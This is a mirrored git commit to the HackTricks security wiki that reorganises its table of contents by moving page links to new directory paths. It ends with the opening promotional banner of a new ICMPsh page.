mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-24 21:53:54 +00:00
GitBook: No commit message
This commit is contained in:
parent
f96ac49908
commit
4c41134976
190 changed files with 23902 additions and 4810 deletions
188
SUMMARY.md
188
SUMMARY.md
|
@ -29,35 +29,35 @@
|
|||
* [Clone a Website](generic-methodologies-and-resources/phishing-methodology/clone-a-website.md)
|
||||
* [Detecting Phishing](generic-methodologies-and-resources/phishing-methodology/detecting-phising.md)
|
||||
* [Phishing Files & Documents](generic-methodologies-and-resources/phishing-methodology/phishing-documents.md)
|
||||
* [Basic Forensic Methodology](forensics/basic-forensic-methodology/README.md)
|
||||
* [Baseline Monitoring](forensics/basic-forensic-methodology/file-integrity-monitoring.md)
|
||||
* [Anti-Forensic Techniques](forensics/basic-forensic-methodology/anti-forensic-techniques.md)
|
||||
* [Docker Forensics](forensics/basic-forensic-methodology/docker-forensics.md)
|
||||
* [Basic Forensic Methodology](generic-methodologies-and-resources/basic-forensic-methodology/README.md)
|
||||
* [Baseline Monitoring](generic-methodologies-and-resources/basic-forensic-methodology/file-integrity-monitoring.md)
|
||||
* [Anti-Forensic Techniques](generic-methodologies-and-resources/basic-forensic-methodology/anti-forensic-techniques.md)
|
||||
* [Docker Forensics](generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.md)
|
||||
* [Image Acquisition & Mount](generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md)
|
||||
* [Linux Forensics](forensics/basic-forensic-methodology/linux-forensics.md)
|
||||
* [Malware Analysis](forensics/basic-forensic-methodology/malware-analysis.md)
|
||||
* [Memory dump analysis](forensics/basic-forensic-methodology/memory-dump-analysis/README.md)
|
||||
* [Linux Forensics](generic-methodologies-and-resources/basic-forensic-methodology/linux-forensics.md)
|
||||
* [Malware Analysis](generic-methodologies-and-resources/basic-forensic-methodology/malware-analysis.md)
|
||||
* [Memory dump analysis](generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/README.md)
|
||||
* [Volatility - CheatSheet](generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md)
|
||||
* [Partitions/File Systems/Carving](forensics/basic-forensic-methodology/partitions-file-systems-carving/README.md)
|
||||
* [File/Data Carving & Recovery Tools](forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md)
|
||||
* [Pcap Inspection](forensics/basic-forensic-methodology/pcap-inspection/README.md)
|
||||
* [DNSCat pcap analysis](forensics/basic-forensic-methodology/pcap-inspection/dnscat-exfiltration.md)
|
||||
* [Partitions/File Systems/Carving](generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/README.md)
|
||||
* [File/Data Carving & Recovery Tools](generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md)
|
||||
* [Pcap Inspection](generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/README.md)
|
||||
* [DNSCat pcap analysis](generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/dnscat-exfiltration.md)
|
||||
* [Suricata & Iptables cheatsheet](generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/suricata-and-iptables-cheatsheet.md)
|
||||
* [USB Keystrokes](forensics/basic-forensic-methodology/pcap-inspection/usb-keystrokes.md)
|
||||
* [Wifi Pcap Analysis](forensics/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md)
|
||||
* [Wireshark tricks](forensics/basic-forensic-methodology/pcap-inspection/wireshark-tricks.md)
|
||||
* [Specific Software/File-Type Tricks](forensics/basic-forensic-methodology/specific-software-file-type-tricks/README.md)
|
||||
* [Decompile compiled python binaries (exe, elf) - Retreive from .pyc](forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md)
|
||||
* [Browser Artifacts](forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md)
|
||||
* [Desofuscation vbs (cscript.exe)](forensics/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md)
|
||||
* [Local Cloud Storage](forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md)
|
||||
* [Office file analysis](forensics/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md)
|
||||
* [PDF File analysis](forensics/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md)
|
||||
* [PNG tricks](forensics/basic-forensic-methodology/specific-software-file-type-tricks/png-tricks.md)
|
||||
* [Video and Audio file analysis](forensics/basic-forensic-methodology/specific-software-file-type-tricks/video-and-audio-file-analysis.md)
|
||||
* [ZIPs tricks](forensics/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md)
|
||||
* [Windows Artifacts](forensics/basic-forensic-methodology/windows-forensics/README.md)
|
||||
* [Interesting Windows Registry Keys](forensics/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md)
|
||||
* [USB Keystrokes](generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/usb-keystrokes.md)
|
||||
* [Wifi Pcap Analysis](generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md)
|
||||
* [Wireshark tricks](generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/wireshark-tricks.md)
|
||||
* [Specific Software/File-Type Tricks](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/README.md)
|
||||
* [Decompile compiled python binaries (exe, elf) - Retreive from .pyc](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md)
|
||||
* [Browser Artifacts](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md)
|
||||
* [Desofuscation vbs (cscript.exe)](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md)
|
||||
* [Local Cloud Storage](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md)
|
||||
* [Office file analysis](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md)
|
||||
* [PDF File analysis](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md)
|
||||
* [PNG tricks](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/png-tricks.md)
|
||||
* [Video and Audio file analysis](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/video-and-audio-file-analysis.md)
|
||||
* [ZIPs tricks](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md)
|
||||
* [Windows Artifacts](generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/README.md)
|
||||
* [Interesting Windows Registry Keys](generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md)
|
||||
* [Brute Force - CheatSheet](generic-methodologies-and-resources/brute-force.md)
|
||||
* [Python Sandbox Escape & Pyscript](generic-methodologies-and-resources/python/README.md)
|
||||
* [Bypass Python sandboxes](generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md)
|
||||
|
@ -125,8 +125,8 @@
|
|||
* [Splunk LPE and Persistence](linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md)
|
||||
* [SSH Forward Agent exploitation](linux-hardening/privilege-escalation/ssh-forward-agent-exploitation.md)
|
||||
* [Wildcards Spare tricks](linux-hardening/privilege-escalation/wildcards-spare-tricks.md)
|
||||
* [Useful Linux Commands](linux-hardening/useful-linux-commands/README.md)
|
||||
* [Bypass Linux Restrictions](linux-hardening/useful-linux-commands/bypass-bash-restrictions.md)
|
||||
* [Useful Linux Commands](linux-hardening/useful-linux-commands.md)
|
||||
* [Bypass Linux Restrictions](linux-hardening/bypass-bash-restrictions/README.md)
|
||||
* [Bypass FS protections: read-only / no-exec / Distroless](linux-hardening/bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/README.md)
|
||||
* [DDexec / EverythingExec](linux-hardening/bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/ddexec.md)
|
||||
* [Linux Environment Variables](linux-hardening/linux-environment-variables.md)
|
||||
|
@ -163,8 +163,8 @@
|
|||
* [macOS Dirty NIB](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-dirty-nib.md)
|
||||
* [macOS Chromium Injection](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-chromium-injection.md)
|
||||
* [macOS Electron Applications Injection](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md)
|
||||
* [macOS Function Hooking](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md)
|
||||
* [macOS IPC - Inter Process Communication](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md)
|
||||
* [macOS Function Hooking](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-function-hooking.md)
|
||||
* [macOS IPC - Inter Process Communication](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/README.md)
|
||||
* [macOS MIG - Mach Interface Generator](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md)
|
||||
* [macOS XPC](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/README.md)
|
||||
* [macOS XPC Authorization](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-authorization.md)
|
||||
|
@ -174,7 +174,7 @@
|
|||
* [macOS Thread Injection via Task port](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md)
|
||||
* [macOS Java Applications Injection](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-java-apps-injection.md)
|
||||
* [macOS Library Injection](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/README.md)
|
||||
* [macOS Dyld Hijacking & DYLD\_INSERT\_LIBRARIES](macos-hardening/macos-security-and-privilege-escalation/macos-dyld-hijacking-and-dyld\_insert\_libraries.md)
|
||||
* [macOS Dyld Hijacking & DYLD\_INSERT\_LIBRARIES](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/macos-dyld-hijacking-and-dyld\_insert\_libraries.md)
|
||||
* [macOS Perl Applications Injection](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-perl-applications-injection.md)
|
||||
* [macOS Python Applications Injection](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-python-applications-injection.md)
|
||||
* [macOS Ruby Applications Injection](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ruby-applications-injection.md)
|
||||
|
@ -207,13 +207,13 @@
|
|||
|
||||
* [Checklist - Local Windows Privilege Escalation](windows-hardening/checklist-windows-privilege-escalation.md)
|
||||
* [Windows Local Privilege Escalation](windows-hardening/windows-local-privilege-escalation/README.md)
|
||||
* [Abusing Tokens](windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens/README.md)
|
||||
* [Abusing Tokens](windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md)
|
||||
* [Access Tokens](windows-hardening/windows-local-privilege-escalation/access-tokens.md)
|
||||
* [ACLs - DACLs/SACLs/ACEs](windows-hardening/windows-local-privilege-escalation/acls-dacls-sacls-aces.md)
|
||||
* [AppendData/AddSubdirectory permission over service registry](windows-hardening/windows-local-privilege-escalation/appenddata-addsubdirectory-permission-over-service-registry.md)
|
||||
* [Create MSI with WIX](windows-hardening/windows-local-privilege-escalation/create-msi-with-wix.md)
|
||||
* [COM Hijacking](windows-hardening/windows-local-privilege-escalation/com-hijacking.md)
|
||||
* [Dll Hijacking](windows-hardening/windows-local-privilege-escalation/dll-hijacking.md)
|
||||
* [Dll Hijacking](windows-hardening/windows-local-privilege-escalation/dll-hijacking/README.md)
|
||||
* [Writable Sys Path +Dll Hijacking Privesc](windows-hardening/windows-local-privilege-escalation/dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md)
|
||||
* [DPAPI - Extracting Passwords](windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.md)
|
||||
* [From High Integrity to SYSTEM with Name Pipes](windows-hardening/windows-local-privilege-escalation/from-high-integrity-to-system-with-name-pipes.md)
|
||||
|
@ -230,7 +230,7 @@
|
|||
* [Active Directory Methodology](windows-hardening/active-directory-methodology/README.md)
|
||||
* [Abusing Active Directory ACLs/ACEs](windows-hardening/active-directory-methodology/acl-persistence-abuse/README.md)
|
||||
* [Shadow Credentials](windows-hardening/active-directory-methodology/acl-persistence-abuse/shadow-credentials.md)
|
||||
* [AD Certificates](windows-hardening/active-directory-methodology/ad-certificates.md)
|
||||
* [AD Certificates](windows-hardening/active-directory-methodology/ad-certificates/README.md)
|
||||
* [AD CS Account Persistence](windows-hardening/active-directory-methodology/ad-certificates/account-persistence.md)
|
||||
* [AD CS Domain Escalation](windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md)
|
||||
* [AD CS Domain Persistence](windows-hardening/active-directory-methodology/ad-certificates/domain-persistence.md)
|
||||
|
@ -266,22 +266,22 @@
|
|||
* [Silver Ticket](windows-hardening/active-directory-methodology/silver-ticket.md)
|
||||
* [Skeleton Key](windows-hardening/active-directory-methodology/skeleton-key.md)
|
||||
* [Unconstrained Delegation](windows-hardening/active-directory-methodology/unconstrained-delegation.md)
|
||||
* [Windows Security Controls](windows-hardening/authentication-credentials-uac-and-efs.md)
|
||||
* [UAC - User Account Control](windows-hardening/windows-security-controls/uac-user-account-control.md)
|
||||
* [Windows Security Controls](windows-hardening/authentication-credentials-uac-and-efs/README.md)
|
||||
* [UAC - User Account Control](windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control.md)
|
||||
* [NTLM](windows-hardening/ntlm/README.md)
|
||||
* [Places to steal NTLM creds](windows-hardening/ntlm/places-to-steal-ntlm-creds.md)
|
||||
* [Lateral Movement](windows-hardening/lateral-movement/README.md)
|
||||
* [AtExec / SchtasksExec](windows-hardening/ntlm/atexec.md)
|
||||
* [AtExec / SchtasksExec](windows-hardening/lateral-movement/atexec.md)
|
||||
* [DCOM Exec](windows-hardening/lateral-movement/dcom-exec.md)
|
||||
* [PsExec/Winexec/ScExec](windows-hardening/ntlm/psexec-and-winexec.md)
|
||||
* [SmbExec/ScExec](windows-hardening/ntlm/smbexec.md)
|
||||
* [WinRM](windows-hardening/ntlm/winrm.md)
|
||||
* [WmicExec](windows-hardening/ntlm/wmicexec.md)
|
||||
* [PsExec/Winexec/ScExec](windows-hardening/lateral-movement/psexec-and-winexec.md)
|
||||
* [SmbExec/ScExec](windows-hardening/lateral-movement/smbexec.md)
|
||||
* [WinRM](windows-hardening/lateral-movement/winrm.md)
|
||||
* [WmicExec](windows-hardening/lateral-movement/wmicexec.md)
|
||||
* [Pivoting to the Cloud](https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movements)
|
||||
* [Stealing Windows Credentials](windows-hardening/stealing-credentials/README.md)
|
||||
* [Windows Credentials Protections](windows-hardening/stealing-credentials/credentials-protections.md)
|
||||
* [Mimikatz](windows-hardening/stealing-credentials/credentials-mimikatz.md)
|
||||
* [WTS Impersonator](windows-hardening/stealing-credentials/WTS-Impersonator.md)
|
||||
* [WTS Impersonator](windows-hardening/stealing-credentials/wts-impersonator.md)
|
||||
* [Basic Win CMD for Pentesters](windows-hardening/basic-cmd-for-pentesters.md)
|
||||
* [Basic PowerShell for Pentesters](windows-hardening/basic-powershell-for-pentesters/README.md)
|
||||
* [PowerView/SharpView](windows-hardening/basic-powershell-for-pentesters/powerview.md)
|
||||
|
@ -418,7 +418,7 @@
|
|||
* [Source code Review / SAST Tools](network-services-pentesting/pentesting-web/code-review-tools.md)
|
||||
* [Spring Actuators](network-services-pentesting/pentesting-web/spring-actuators.md)
|
||||
* [Symfony](network-services-pentesting/pentesting-web/symphony.md)
|
||||
* [Tomcat](network-services-pentesting/pentesting-web/tomcat.md)
|
||||
* [Tomcat](network-services-pentesting/pentesting-web/tomcat/README.md)
|
||||
* [Basic Tomcat Info](network-services-pentesting/pentesting-web/tomcat/basic-tomcat-info.md)
|
||||
* [Uncovering CloudFlare](network-services-pentesting/pentesting-web/uncovering-cloudflare.md)
|
||||
* [VMWare (ESX, VCenter...)](network-services-pentesting/pentesting-web/vmware-esx-vcenter....md)
|
||||
|
@ -436,7 +436,7 @@
|
|||
* [123/udp - Pentesting NTP](network-services-pentesting/pentesting-ntp.md)
|
||||
* [135, 593 - Pentesting MSRPC](network-services-pentesting/135-pentesting-msrpc.md)
|
||||
* [137,138,139 - Pentesting NetBios](network-services-pentesting/137-138-139-pentesting-netbios.md)
|
||||
* [139,445 - Pentesting SMB](network-services-pentesting/pentesting-smb.md)
|
||||
* [139,445 - Pentesting SMB](network-services-pentesting/pentesting-smb/README.md)
|
||||
* [rpcclient enumeration](network-services-pentesting/pentesting-smb/rpcclient-enumeration.md)
|
||||
* [143,993 - Pentesting IMAP](network-services-pentesting/pentesting-imap.md)
|
||||
* [161,162,10161,10162/udp - Pentesting SNMP](network-services-pentesting/pentesting-snmp/README.md)
|
||||
|
@ -463,7 +463,7 @@
|
|||
* [1414 - Pentesting IBM MQ](network-services-pentesting/1414-pentesting-ibmmq.md)
|
||||
* [1433 - Pentesting MSSQL - Microsoft SQL Server](network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md)
|
||||
* [Types of MSSQL Users](network-services-pentesting/pentesting-mssql-microsoft-sql-server/types-of-mssql-users.md)
|
||||
* [1521,1522-1529 - Pentesting Oracle TNS Listener](network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/README.md)
|
||||
* [1521,1522-1529 - Pentesting Oracle TNS Listener](network-services-pentesting/1521-1522-1529-pentesting-oracle-listener.md)
|
||||
* [1723 - Pentesting PPTP](network-services-pentesting/1723-pentesting-pptp.md)
|
||||
* [1883 - Pentesting MQTT (Mosquitto)](network-services-pentesting/1883-pentesting-mqtt-mosquitto.md)
|
||||
* [2049 - Pentesting NFS Service](network-services-pentesting/nfs-service-pentesting.md)
|
||||
|
@ -515,7 +515,7 @@
|
|||
|
||||
## 🕸️ Pentesting Web
|
||||
|
||||
* [Web Vulnerabilities Methodology](pentesting-web/web-vulnerabilities-methodology/README.md)
|
||||
* [Web Vulnerabilities Methodology](pentesting-web/web-vulnerabilities-methodology.md)
|
||||
* [Reflecting Techniques - PoCs and Polygloths CheatSheet](pentesting-web/pocs-and-polygloths-cheatsheet/README.md)
|
||||
* [Web Vulns List](pentesting-web/pocs-and-polygloths-cheatsheet/web-vulns-list.md)
|
||||
* [2FA/OTP Bypass](pentesting-web/2fa-bypass.md)
|
||||
|
@ -656,7 +656,7 @@
|
|||
* [Steal Info JS](pentesting-web/xss-cross-site-scripting/steal-info-js.md)
|
||||
* [XSS in Markdown](pentesting-web/xss-cross-site-scripting/xss-in-markdown.md)
|
||||
* [XSSI (Cross-Site Script Inclusion)](pentesting-web/xssi-cross-site-script-inclusion.md)
|
||||
* [XS-Search/XS-Leaks](pentesting-web/xs-search.md)
|
||||
* [XS-Search/XS-Leaks](pentesting-web/xs-search/README.md)
|
||||
* [Connection Pool Examples](pentesting-web/xs-search/connection-pool-example.md)
|
||||
* [Connection Pool by Destination Example](pentesting-web/xs-search/connection-pool-by-destination-example.md)
|
||||
* [Cookie Bomb + Onerror XS Leak](pentesting-web/xs-search/cookie-bomb-+-onerror-xs-leak.md)
|
||||
|
@ -676,23 +676,23 @@
|
|||
|
||||
## 😎 Hardware/Physical Access
|
||||
|
||||
* [Physical Attacks](physical-attacks/physical-attacks.md)
|
||||
* [Escaping from KIOSKs](physical-attacks/escaping-from-gui-applications/README.md)
|
||||
* [Firmware Analysis](physical-attacks/firmware-analysis/README.md)
|
||||
* [Bootloader testing](physical-attacks/firmware-analysis/bootloader-testing.md)
|
||||
* [Firmware Integrity](physical-attacks/firmware-analysis/firmware-integrity.md)
|
||||
* [Physical Attacks](hardware-physical-access/physical-attacks.md)
|
||||
* [Escaping from KIOSKs](hardware-physical-access/escaping-from-gui-applications.md)
|
||||
* [Firmware Analysis](hardware-physical-access/firmware-analysis/README.md)
|
||||
* [Bootloader testing](hardware-physical-access/firmware-analysis/bootloader-testing.md)
|
||||
* [Firmware Integrity](hardware-physical-access/firmware-analysis/firmware-integrity.md)
|
||||
|
||||
## 🦅 Reversing & Exploiting
|
||||
|
||||
* [Reversing Tools & Basic Methods](reversing/reversing-tools-basic-methods/README.md)
|
||||
* [Angr](reversing/reversing-tools-basic-methods/angr/README.md)
|
||||
* [Angr - Examples](reversing/reversing-tools-basic-methods/angr/angr-examples.md)
|
||||
* [Z3 - Satisfiability Modulo Theories (SMT)](reversing/reversing-tools-basic-methods/satisfiability-modulo-theories-smt-z3.md)
|
||||
* [Cheat Engine](reversing/reversing-tools-basic-methods/cheat-engine.md)
|
||||
* [Blobrunner](reversing/reversing-tools-basic-methods/blobrunner.md)
|
||||
* [Common API used in Malware](reversing/common-api-used-in-malware.md)
|
||||
* [Word Macros](reversing/word-macros.md)
|
||||
* [Linux Exploiting (Basic) (SPA)](exploiting/linux-exploiting-basic-esp/README.md)
|
||||
* [Reversing Tools & Basic Methods](reversing-and-exploiting/reversing-tools-basic-methods/README.md)
|
||||
* [Angr](reversing-and-exploiting/reversing-tools-basic-methods/angr/README.md)
|
||||
* [Angr - Examples](reversing-and-exploiting/reversing-tools-basic-methods/angr/angr-examples.md)
|
||||
* [Z3 - Satisfiability Modulo Theories (SMT)](reversing-and-exploiting/reversing-tools-basic-methods/satisfiability-modulo-theories-smt-z3.md)
|
||||
* [Cheat Engine](reversing-and-exploiting/reversing-tools-basic-methods/cheat-engine.md)
|
||||
* [Blobrunner](reversing-and-exploiting/reversing-tools-basic-methods/blobrunner.md)
|
||||
* [Common API used in Malware](reversing-and-exploiting/common-api-used-in-malware.md)
|
||||
* [Word Macros](reversing-and-exploiting/word-macros.md)
|
||||
* [Linux Exploiting (Basic) (SPA)](reversing-and-exploiting/linux-exploiting-basic-esp/README.md)
|
||||
* [Stack Overflow](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/README.md)
|
||||
* [ROP - Return Oriented Programing](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-return-oriented-programing.md)
|
||||
* [Ret2lib](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/README.md)
|
||||
|
@ -727,47 +727,47 @@
|
|||
* [AW2Exec - GOT/PLT](reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aw2exec-got-plt.md)
|
||||
* [Common Exploiting Problems](reversing-and-exploiting/linux-exploiting-basic-esp/common-exploiting-problems.md)
|
||||
* [ELF Basic Information](reversing-and-exploiting/linux-exploiting-basic-esp/elf-tricks.md)
|
||||
* [Fusion](exploiting/linux-exploiting-basic-esp/fusion.md)
|
||||
* [Exploiting Tools](exploiting/tools/README.md)
|
||||
* [PwnTools](exploiting/tools/pwntools.md)
|
||||
* [Windows Exploiting (Basic Guide - OSCP lvl)](exploiting/windows-exploiting-basic-guide-oscp-lvl.md)
|
||||
* [Fusion](reversing-and-exploiting/linux-exploiting-basic-esp/fusion.md)
|
||||
* [Exploiting Tools](reversing-and-exploiting/tools/README.md)
|
||||
* [PwnTools](reversing-and-exploiting/tools/pwntools.md)
|
||||
* [Windows Exploiting (Basic Guide - OSCP lvl)](reversing-and-exploiting/windows-exploiting-basic-guide-oscp-lvl.md)
|
||||
|
||||
## 🔮 Crypto & Stego
|
||||
|
||||
* [Cryptographic/Compression Algorithms](reversing/cryptographic-algorithms/README.md)
|
||||
* [Unpacking binaries](reversing/cryptographic-algorithms/unpacking-binaries.md)
|
||||
* [Certificates](cryptography/certificates.md)
|
||||
* [Cipher Block Chaining CBC-MAC](cryptography/cipher-block-chaining-cbc-mac-priv.md)
|
||||
* [Crypto CTFs Tricks](cryptography/crypto-ctfs-tricks.md)
|
||||
* [Electronic Code Book (ECB)](cryptography/electronic-code-book-ecb.md)
|
||||
* [Hash Length Extension Attack](cryptography/hash-length-extension-attack.md)
|
||||
* [Padding Oracle](cryptography/padding-oracle-priv.md)
|
||||
* [RC4 - Encrypt\&Decrypt](cryptography/rc4-encrypt-and-decrypt.md)
|
||||
* [Stego Tricks](stego/stego-tricks.md)
|
||||
* [Esoteric languages](stego/esoteric-languages.md)
|
||||
* [Blockchain & Crypto Currencies](blockchain/blockchain-and-crypto-currencies/README.md)
|
||||
* [Cryptographic/Compression Algorithms](crypto-and-stego/cryptographic-algorithms/README.md)
|
||||
* [Unpacking binaries](crypto-and-stego/cryptographic-algorithms/unpacking-binaries.md)
|
||||
* [Certificates](crypto-and-stego/certificates.md)
|
||||
* [Cipher Block Chaining CBC-MAC](crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md)
|
||||
* [Crypto CTFs Tricks](crypto-and-stego/crypto-ctfs-tricks.md)
|
||||
* [Electronic Code Book (ECB)](crypto-and-stego/electronic-code-book-ecb.md)
|
||||
* [Hash Length Extension Attack](crypto-and-stego/hash-length-extension-attack.md)
|
||||
* [Padding Oracle](crypto-and-stego/padding-oracle-priv.md)
|
||||
* [RC4 - Encrypt\&Decrypt](crypto-and-stego/rc4-encrypt-and-decrypt.md)
|
||||
* [Stego Tricks](crypto-and-stego/stego-tricks.md)
|
||||
* [Esoteric languages](crypto-and-stego/esoteric-languages.md)
|
||||
* [Blockchain & Crypto Currencies](crypto-and-stego/blockchain-and-crypto-currencies.md)
|
||||
|
||||
## 🦂 C2
|
||||
|
||||
* [Salseo](backdoors/salseo.md)
|
||||
* [ICMPsh](backdoors/icmpsh.md)
|
||||
* [Salseo](c2/salseo.md)
|
||||
* [ICMPsh](c2/icmpsh.md)
|
||||
* [Cobalt Strike](c2/cobalt-strike.md)
|
||||
|
||||
## ✍️ TODO
|
||||
|
||||
* [Other Big References](misc/references.md)
|
||||
* [Other Big References](todo/references.md)
|
||||
* [Rust Basics](todo/rust-basics.md)
|
||||
* [More Tools](todo/more-tools.md)
|
||||
* [MISC](todo/misc.md)
|
||||
* [Pentesting DNS](pentesting-dns.md)
|
||||
* [Pentesting DNS](todo/pentesting-dns.md)
|
||||
* [Hardware Hacking](todo/hardware-hacking/README.md)
|
||||
* [I2C](todo/hardware-hacking/i2c.md)
|
||||
* [UART](todo/hardware-hacking/uart.md)
|
||||
* [Radio](todo/hardware-hacking/radio.md)
|
||||
* [JTAG](todo/hardware-hacking/jtag.md)
|
||||
* [SPI](todo/hardware-hacking/spi.md)
|
||||
* [Radio Hacking](radio-hacking/README.md)
|
||||
* [Pentesting RFID](radio-hacking/pentesting-rfid.md)
|
||||
* [Radio Hacking](todo/radio-hacking/README.md)
|
||||
* [Pentesting RFID](todo/radio-hacking/pentesting-rfid.md)
|
||||
* [Infrared](todo/radio-hacking/infrared.md)
|
||||
* [Sub-GHz RF](todo/radio-hacking/sub-ghz-rf.md)
|
||||
* [iButton](todo/radio-hacking/ibutton.md)
|
||||
|
@ -779,16 +779,16 @@
|
|||
* [FZ - 125kHz RFID](todo/radio-hacking/flipper-zero/fz-125khz-rfid.md)
|
||||
* [Proxmark 3](todo/radio-hacking/proxmark-3.md)
|
||||
* [FISSURE - The RF Framework](todo/radio-hacking/fissure-the-rf-framework.md)
|
||||
* [Low-Power Wide Area Network](radio-hacking/low-power-wide-area-network.md)
|
||||
* [Pentesting BLE - Bluetooth Low Energy](radio-hacking/pentesting-ble-bluetooth-low-energy.md)
|
||||
* [Burp Suite](burp-suite.md)
|
||||
* [Other Web Tricks](other-web-tricks.md)
|
||||
* [Interesting HTTP](interesting-http.md)
|
||||
* [Emails Vulnerabilities](emails-vulns.md)
|
||||
* [Android Forensics](android-forensics.md)
|
||||
* [Low-Power Wide Area Network](todo/radio-hacking/low-power-wide-area-network.md)
|
||||
* [Pentesting BLE - Bluetooth Low Energy](todo/radio-hacking/pentesting-ble-bluetooth-low-energy.md)
|
||||
* [Burp Suite](todo/burp-suite.md)
|
||||
* [Other Web Tricks](todo/other-web-tricks.md)
|
||||
* [Interesting HTTP](todo/interesting-http.md)
|
||||
* [Emails Vulnerabilities](todo/emails-vulns.md)
|
||||
* [Android Forensics](todo/android-forensics.md)
|
||||
* [TR-069](todo/tr-069.md)
|
||||
* [6881/udp - Pentesting BitTorrent](6881-udp-pentesting-bittorrent.md)
|
||||
* [Online Platforms with API](online-platforms-with-api.md)
|
||||
* [Stealing Sensitive Information Disclosure from a Web](stealing-sensitive-information-disclosure-from-a-web.md)
|
||||
* [Post Exploitation](post-exploitation.md)
|
||||
* [6881/udp - Pentesting BitTorrent](todo/6881-udp-pentesting-bittorrent.md)
|
||||
* [Online Platforms with API](todo/online-platforms-with-api.md)
|
||||
* [Stealing Sensitive Information Disclosure from a Web](todo/stealing-sensitive-information-disclosure-from-a-web.md)
|
||||
* [Post Exploitation](todo/post-exploitation.md)
|
||||
* [Cookies Policy](todo/cookies-policy.md)
|
||||
|
|
93
c2/icmpsh.md
Normal file
93
c2/icmpsh.md
Normal file
|
@ -0,0 +1,93 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
